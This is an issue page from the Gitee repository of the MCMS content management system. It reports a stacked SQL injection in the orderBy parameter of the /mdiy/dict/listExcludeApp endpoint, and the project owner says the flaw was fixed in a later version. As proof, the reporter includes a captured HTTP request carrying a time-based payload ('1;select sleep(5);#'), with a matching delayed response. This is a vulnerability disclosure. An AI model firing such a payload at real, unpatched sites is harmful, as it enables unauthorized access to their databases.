Open Source > Web System > Content Management System

GVP 铭飞 / MCMS

👁 Watch ▾ 4.1K   ☆ Star 13.8K

</> Code   📋 Issues 6   ⑃ Pull Requests 0   ...nes   ⌁ Service ▾

Issues / 详情

MCMS存在SQL注入【前台】

✓ Done   #I4TGYI   👤 aw220   Opened this issue 2022-02-13 17:07

/mdiy/dict/**listExcludeApp** 路由的orderBy参数存在堆叠SQL注入

证明

Gitee Pages   JavaDoc   sonarqube Quality Analysis

Jenkins for Gitee   Baidu Efficiency Cloud   Tencent CloudBase

Tencent Cloud Serverless   OPENSCA 悬镜安全

Don't show this again

Status
✓ Done

Assignees
Not set

Labels
Not set

Milestones
5.2.6

Pull Requests
None yet
Successfully merging a pull reque...
issue.

Branches
No related branch

Planed to start - Planed t
Unscheduled ⁻ Unschedule

Top level
Not Top

Priority
Not specified

参与者 (2)

```
  /webp,*/*;q=0.8
5 Accept-Language:
  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: Phpstorm-f0bc0443=05da4cd3-973a-421b-afa6-a7c2e0ed2f79;
  Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1643112801,1643726819;
  JSESSIONID=C8C7CC152ACB7C2C4A4EB2462BE7E041
9 Upgrade-Insecure-Requests: 1
0 Sec-Fetch-Dest: document
1 Sec-Fetch-Mode: navigate
2 Sec-Fetch-Site: cross-site
3 Cache-Control: max-age=0
4
5
```

Search...   0 matches   161 bytes | 14 millis

Done

Request

Pretty Raw Hex

```
1 GET /mdiy/dict/listExcludeApp?query=1&dictType=tt&orderBy=
  1;select%20sleep(5);%23 HTTP/1.1
2 Host: localhost:8080
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0)
  Gecko/20100101 Firefox/94.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
  /webp,*/*;q=0.8
5 Accept-Language:
  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: Phpstorm-f0bc0443=05da4cd3-973a-421b-afa6-a7c2e0ed2f79;
  Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1643112801,1643726819;
  JSESSIONID=C8C7CC152ACB7C2C4A4EB2462BE7E041
9 Upgrade-Insecure-Requests: 1
0 Sec-Fetch-Dest: document
1 Sec-Fetch-Mode: navigate
2 Sec-Fetch-Site: cross-site
3 Cache-Control: max-age=0
4
5
```

Response

Pretty Raw

```
1 HTTP/1.
2 Content
3 Date: S
4 Connect
5 Content
6
7 {
    "resul
    "code"
    "data"
      ]
  }
```

Search...   0 matches   161 bytes | 5,016 millis

Done

Gitee 已支持 CLA 协议签署

✍️ 第一方功能集成，签署流程更高效
📋 内置可自定义的协议模板
⚖️ 让开源贡献也能有据可依

I know   View Details

🅰 aw220 created **任务** 10 months ago

Expand operation logs ⌄

Ⓜ️ **铭飞** owner 9 months ago   •••

感谢对开源产品的关注，新版本已修复

✏️ Ⓜ️ **铭飞** changed **issue state** from 进行中 to **已完成** 9 months ago

Sign in to comment

Git Resources	Gitee Reward	OpenAPI	About Us	☎ 777320883	
Learning Git	Gitee Stars	Help Center	Join us	✉ git@oschina.cn	
CopyCat	Featured Projects	Self-services	Terms of use	知 Gitee	
Downloads	Blog	Updates	Feedback	☎ +86 400-606-0201	Mini Program
	Nonprofit		Partners		
	Gitee Go				